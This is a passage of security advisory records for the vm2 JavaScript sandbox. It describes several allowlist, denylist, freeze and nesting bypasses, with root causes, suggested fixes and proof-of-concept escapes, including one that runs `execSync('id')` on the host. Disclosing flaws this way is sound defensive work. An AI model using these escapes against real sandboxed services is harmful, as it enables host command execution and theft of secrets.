it to check the original package name supplied by sandboxed code. However, the regular expression is not anchored to the full package-name boundary, so it performs a substring match on the original package name.\n\nFor example, with the following configuration:\n\n```js\nnew NodeVM({\n  require: {\n    external: ['left-pad'],\n    resolve: id =\u003e require.resolve(id, { paths: [customRoot] }),\n    context: 'host',\n    builtin: []\n  }\n})\n```\n\nThe intended policy is that sandboxed code can only load `left-pad`. However, because vm2 uses a non-exact match similar to `/left\\-pad/` for the requested package name, names such as `evil-left-pad` and `left-pad-backdoor` also pass the allowlist pre-check.\n\nAfter `evil-left-pad` passes the check, vm2 calls the custom resolver configured by the application. If the resolver can find that colliding package in a host-resolvable path, vm2 adds the returned path to the loadable list and, in `context: 'host'` mode, loads the package with the host `require()`. At that point, the package's top-level code executes in the host context instead of being constrained by sandbox restrictions such as `NodeVM`'s `builtin: []`.\n\nIn local verification, the PoC only allows `external: ['left-pad']` and sets `builtin: []`, so sandboxed code cannot directly load `child_process`. However, after the sandboxed code executes `require('evil-left-pad')`, vm2 still loads the colliding package from a host path. The colliding package's top-level code successfully invokes the host `child_process` module and prints `HOST_EXEC`.\n\nThis issue does not mean that vm2 automatically downloads malicious packages from npm at runtime. The attack requires the colliding package to already be in a path resolvable by the custom resolver, or for the target application's own dependency resolution / download workflow to place that package in such a path. This precondition limits the affected scenarios, but it does not change the core vulnerability: the `external` allowlist is not enforced against complete package-name boundaries, allowing sandboxed code to load a host package that the application did not authorize.\n\n### PoC\n\nAn independent PoC is attached in the `poc` directory. The PoC installs vm2 `3.11.5`, creates a temporary host package directory, and writes an unauthorized `evil-left-pad` package into it.\n\nRun the following from the `poc` directory:\n\n```bash\nnpm install\nnode poc.js\n```\n\nWhen the vulnerability is present, the output is similar to:\n\n```text\n[+] vm2 version: 3.11.5\n[+] customRoot: /tmp/vm2-resolver-poc-xxxxxx/custom\n[+] Direct sandbox require(\"child_process\") is blocked: ENOTFOUND\n[+] Unrelated package is blocked: ENOTFOUND\n[+] require(\"evil-left-pad\") result: HOST_EXEC\n[+] RESULT: VULNERABLE\n```\n\n`HOST_EXEC` is produced by the top-level code of the `evil-left-pad` package through host-side `child_process.execFileSync()`, demonstrating that the unauthorized package has executed in the host context.\n\nExpected result: when the `external` allowlist only contains `left-pad`, `evil-left-pad` should be rejected.\n\nActual result: `evil-left-pad` passes the check because it contains the `left-pad` substring and then executes in the host context.\n\n### Impact\n\nUnder the affected configuration, an attacker can load a colliding host package that is not allowed by the `external` allowlist through sandboxed code, breaking `NodeVM`'s module access control.\n\nIf the attacker can control or influence the contents of the colliding package, for example by placing a malicious package through a plugin upload directory, a user-controllable dependency directory, a private registry synchronization directory, an application-specific dependency download workflow, or another path reachable by the resolver, the attacker can further execute code in the host Node.js process context. The attacker may read files, environment variables, and secrets accessible to the host process, modify host-writable data, or interrupt the host service.\n\nThe main exploitation prerequisites are:\n\n- The application uses vm2 `NodeVM` to execute untrusted or low-trust JavaScript code.\n- The application enables a `require.external` allowlist instead of allowing all external packages.\n- The application configures a custom `require.resolve`.\n- The colliding package already exists in a path resolvable by that custom resolver, or the application's workflow downloads / synchronizes it into that path.\n- The application loads external packages in the host context, or keeps the relevant default behavior.\n\nIf the deployed custom resolver only searches a fixed dependency directory that is fully trusted and cannot be influenced by an attacker, practical exploitability is reduced. However, in scenarios such as plugin systems, user scripts, uploadable dependency packages, private package-source synchronization, or multi-tenant sandbox platforms, this vulnerability can bypass the sandbox boundary.\n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com)\n- Atuin Automated Vulnerability Discovery Engine\n- Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Jiashuo Liang (761232680@qq.com), Guancheng Li (lgcpku@gmail.com)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:37:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93","https://nvd.nist.gov/vuln/detail/CVE-2026-92951","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-module-allowlist-bypass-via-custom-resolver","https://github.com/advisories/GHSA-c48m-32m9-vx93"],"source_kind":"github","identifiers":["GHSA-c48m-32m9-vx93","CVE-2026-92951"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.511Z","epss_percentage":0.00539,"epss_percentile":0.4357,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNDhtLTMybTktdng5M84AB7Wl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNDhtLTMybTktdng5M84AB7Wl","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNDhtLTMybTktdng5M84AB7Wl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cmg1LXFxNHEtOTd4aM4AB7Wk","url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh","title":"vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Summary\n\nNodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: ['*', '-fs', '-child_process']\n}\n```\n\n`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-fs', '-child_process']\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n'use strict';\n\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst { NodeVM } = require('./');\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: ['*', '-fs', '-child_process']\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require('fs');\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require('child_process');\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require('fs/promises');\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require('node:fs/promises')` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require('fs/promises')`.\n- Adding only `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: ['*', '-fs']` blocks `fs/promises`.\n   - `builtin: ['*', '-fs']` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-01T15:36:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh","https://nvd.nist.gov/vuln/detail/CVE-2026-92958","https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises","https://github.com/advisories/GHSA-6rh5-qq4q-97xh"],"source_kind":"github","identifiers":["GHSA-6rh5-qq4q-97xh","CVE-2026-92958"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-13T14:00:27.599Z","epss_percentage":0.00384,"epss_percentile":0.30518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cmg1LXFxNHEtOTd4aM4AB7Wk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cmg1LXFxNHEtOTd4aM4AB7Wk","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cmg1LXFxNHEtOTd4aM4AB7Wk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04Njg2LXZoZngtN3Izas4AB7Wj","url":"https://github.com/advisories/GHSA-8686-vhfx-7r3j","title":"vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Summary\n\nNodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.\n\nAs a result, this configuration:\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\ndoes not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.\n\nThe safe proof below only checks module and function reachability. It does not execute any OS command.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\nThis affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `makeBuiltinsFromLegacyOptions`\n  - wildcard builtin expansion\n  - exact negative entry check: `builtins.indexOf(\\`-${name}\\`)`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n  - `node:` prefix stripping before builtin load\n\n## Root Cause\n\n`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:\n\n```js\nif (localStringPrototypeStartsWith(filename, 'node:')) {\n  id = localStringPrototypeSlice(filename, 5);\n  let nmod = cacheBuiltins[id];\n  if (!nmod) {\n    nmod = loadBuiltinModule(id);\n    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');\n    cacheBuiltins[id] = nmod;\n  }\n  return nmod;\n}\n```\n\nBut `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\n`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.\n\n## Security Boundary Crossed\n\nSandboxed code reaches a host builtin that the embedder attempted to deny.\n\nBoundary crossed:\n\n- sandbox -\u003e host `child_process` builtin\n- sandbox -\u003e host process-spawning function references\n\n## Impact\n\nConfirmed impact:\n\n- `require('child_process')` succeeds inside the sandbox.\n- `require('node:child_process')` succeeds inside the sandbox.\n- The returned module exposes `execSync` and `spawn` as functions.\n\nWorst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.\n\nThe proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.\n\n```js\n'use strict';\n\nconst { NodeVM } = require('./');\n\nfunction probe(builtin) {\n  const vm = new NodeVM({\n    require: {\n      builtin\n    }\n  });\n\n  return vm.run(`\n    const out = {};\n\n    for (const spec of ['child_process', 'node:child_process']) {\n      try {\n        const cp = require(spec);\n        out[spec] = {\n          loaded: true,\n          execSyncType: typeof cp.execSync,\n          spawnType: typeof cp.spawn,\n          moduleToStringTag: Object.prototype.toString.call(cp)\n        };\n      } catch (e) {\n        out[spec] = {\n          loaded: false,\n          name: e \u0026\u0026 e.name,\n          code: e \u0026\u0026 e.code,\n          message: e \u0026\u0026 e.message\n        };\n      }\n    }\n\n    module.exports = out;\n  `);\n}\n\nconsole.log(JSON.stringify({\n  nodeVersion: process.version,\n  denyNodePrefixed: probe(['*', '-node:child_process']),\n  denyCanonical: probe(['*', '-child_process'])\n}, null, 2));\n```\n\nObserved result:\n\n```json\n{\n  \"nodeVersion\": \"v24.14.0\",\n  \"denyNodePrefixed\": {\n    \"child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    },\n    \"node:child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    }\n  },\n  \"denyCanonical\": {\n    \"child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'child_process'\"\n    },\n    \"node:child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'node:child_process'\"\n    }\n  }\n}\n```\n\n## Expected Secure Behavior\n\n`-node:child_process` and `-child_process` should be equivalent.\n\nIf either spelling is denied, both of these should fail:\n\n```js\nrequire('child_process')\nrequire('node:child_process')\n```\n\n## Suggested Fix\n\n1. Canonicalize builtin names before allow/deny comparison:\n   - Strip `node:` from user-provided builtin entries.\n   - Preserve whether an entry is negative (`-...`) before canonicalizing.\n   - Store and compare one canonical builtin key.\n\n2. Apply the same normalization to:\n   - wildcard negative entries\n   - explicit allowlist entries\n   - object-form builtin entries\n   - mock/override keys if they are intended to support `node:` spelling\n\n3. Add regression tests:\n   - `builtin: ['*', '-node:child_process']` blocks `child_process`.\n   - `builtin: ['*', '-node:child_process']` blocks `node:child_process`.\n   - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.\n   - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.\n   - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:36:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j","https://nvd.nist.gov/vuln/detail/CVE-2026-92957","https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix","https://github.com/advisories/GHSA-8686-vhfx-7r3j"],"source_kind":"github","identifiers":["GHSA-8686-vhfx-7r3j","CVE-2026-92957"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.513Z","epss_percentage":0.00537,"epss_percentile":0.4353,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Njg2LXZoZngtN3Izas4AB7Wj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Njg2LXZoZngtN3Izas4AB7Wj","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Njg2LXZoZngtN3Izas4AB7Wj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MzNyLWhxOW0tYzRmZs4AB7Wi","url":"https://github.com/advisories/GHSA-633r-hq9m-c4ff","title":"vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor","description":"### Summary\nUntrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is \"prevent sandboxed scripts from adding, changing, or deleting properties\". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`.\n\n### PoC\n```js\n// poc.js\n'use strict';\nconst { VM } = require('vm2');\n\nlet _level = 'safe';\nconst hostConfig = Object.defineProperty({}, 'level', {\n  get() { return _level; },\n  set(v) { _level = String(v); },\n  enumerable: true, configurable: true,\n});\n\nconst vm = new VM();\nvm.freeze(hostConfig, 'cfg');\n\n// Baseline - documented barriers hold:\nvm.run(`cfg.level = 'via-set';`);\nvm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);\nconsole.log('after [[Set]]/defineProperty:', _level);   // → \"safe\"\n\n// Bypass - sandbox mutates host via accessor descriptor:\nvm.run(`\n  const d = Object.getOwnPropertyDescriptor(cfg, 'level');\n  d.set.call(cfg, 'PWNED');\n`);\nconsole.log('after getOwnPropertyDescriptor→set.call:', _level);   // → \"PWNED\"\n\n// Variant - same sink via __lookupSetter__:\nvm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);\nconsole.log('after __lookupSetter__:', _level);   // → \"PWNED-2\"\n```\n\n```sh\nnode poc.js\n```\n\nObserved output:\n\n```\nafter [[Set]]/defineProperty: safe\nafter getOwnPropertyDescriptor→set.call: PWNED\nafter __lookupSetter__: PWNED-2\n```\n\nThe first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`.\n\n\n\n### Impact\nA sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder.\n\n**Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise.\n**Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined.\n**Persistence**: as persistent as the host object (typically process-lifetime).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-01T15:35:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-633r-hq9m-c4ff","https://nvd.nist.gov/vuln/detail/CVE-2026-92949","https://github.com/patriksimek/vm2/commit/d6ef73bd46488102dae8f4bc35f3f3c0eba2ea64","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-3.9.6-before-3.11.7-sandbox-bypass-via-accessor-descriptor","https://github.com/advisories/GHSA-633r-hq9m-c4ff"],"source_kind":"github","identifiers":["GHSA-633r-hq9m-c4ff","CVE-2026-92949"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.514Z","epss_percentage":0.00319,"epss_percentile":0.22549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MzNyLWhxOW0tYzRmZs4AB7Wi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MzNyLWhxOW0tYzRmZs4AB7Wi","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.9.6, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MzNyLWhxOW0tYzRmZs4AB7Wi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aHI3LXI2NDUtcGM2d84AB7Wh","url":"https://github.com/advisories/GHSA-8hr7-r645-pc6w","title":"vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE","description":"## Summary\n\nThe `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' \u0026\u0026 requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.\n\nArray is converted into the vm2-only resolver:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226\n\nNesting loader returns the host VM constructors:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645\n\n## Proof of Concept\n\nPreconditions:\n\n- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`.\n- The attacker can supply JavaScript executed by that `NodeVM`.\n\n```javascript\n'use strict';\n\nconst {NodeVM} = require('./index.js');\n\nconst outer = new NodeVM({nesting: true, require: []});\nconst result = outer.run(`\n\tconst {NodeVM} = require('vm2');\n\tconst inner = new NodeVM({require: {builtin: ['child_process']}});\n\tmodule.exports = inner.run(\n\t\t\"module.exports = require('child_process').execSync('id').toString()\"\n\t);\n`);\n\nconsole.log(result);\n```\n\n```text\nuid=1000(lohar) gid=1000(lohar) groups=1000(lohar)\n```\n\nThe `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.\n\nFailed shape check:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307\n\n## Impact\n\nAn attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched. \n\n\u003e Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-01T15:34:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w","https://nvd.nist.gov/vuln/detail/CVE-2026-92935","https://github.com/patriksimek/vm2/commit/05894eca1dc6a2b1a986f312c88255288a983d22","https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require","https://github.com/advisories/GHSA-8hr7-r645-pc6w"],"source_kind":"github","identifiers":["GHSA-8hr7-r645-pc6w","CVE-2026-92935"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.515Z","epss_percentage":0.00673,"epss_percentile":0.50549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aHI3LXI2NDUtcGM2d84AB7Wh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aHI3LXI2NDUtcGM2d84AB7Wh","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.7","vulnerable_version_range":"\u003e= 3.11.4, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aHI3LXI2NDUtcGM2d84AB7Wh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NDdmLWc5OGotcXEyNc4AB7Wg","url":"https://github.com/advisories/GHSA-647f-g98j-qq25","title":"vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection","description":"## Summary\n\nUntrusted JavaScript run by vm2 can escape the sandbox and execute arbitrary commands in the host Node.js process when an embedder-exposed host Promise rejects. This is an incomplete fix for GHSA-m283-3h24-438v: the advisory's capability-bearing rejection rebuild runs only through this direct Promise-handler path, so call/apply indirection bypasses the protection it introduced. The bridge sanitises host rejection values before sandbox callbacks run, but the gate at `lib/bridge.js:1624` identity-checks only the direct call target. Registering the rejection handler through `Function.prototype.call` indirection, `p.then.call(p, undefined, cb)`, makes the intercepted target host `Function.prototype.call`, so the sanitiser never runs and the raw host error reaches the sandbox (`lib/bridge.js:1639`) without the rebuild that strips host references carried by its own properties (`lib/setup-sandbox.js:2104`). A rejection error whose own property references a powerful host object, for example `err.detail = process`, therefore reaches sandbox code as a fully functional proxy, and `e.detail.mainModule.require('child_process').execSync(...)` executes with host privileges. The `.apply` form and a stacked `call.call` behave identically.\n\n## PoC\n\nSave as `poc.js` and run `node poc.js`:\n\n```js\nconst { VM } = require('vm2');\nconst vm = new VM({ sandbox: {\n  fetchUser: async () =\u003e {\n    const err = new Error('db connection failed');\n    err.detail = process; // embedder-attached host reference\n    throw err;\n  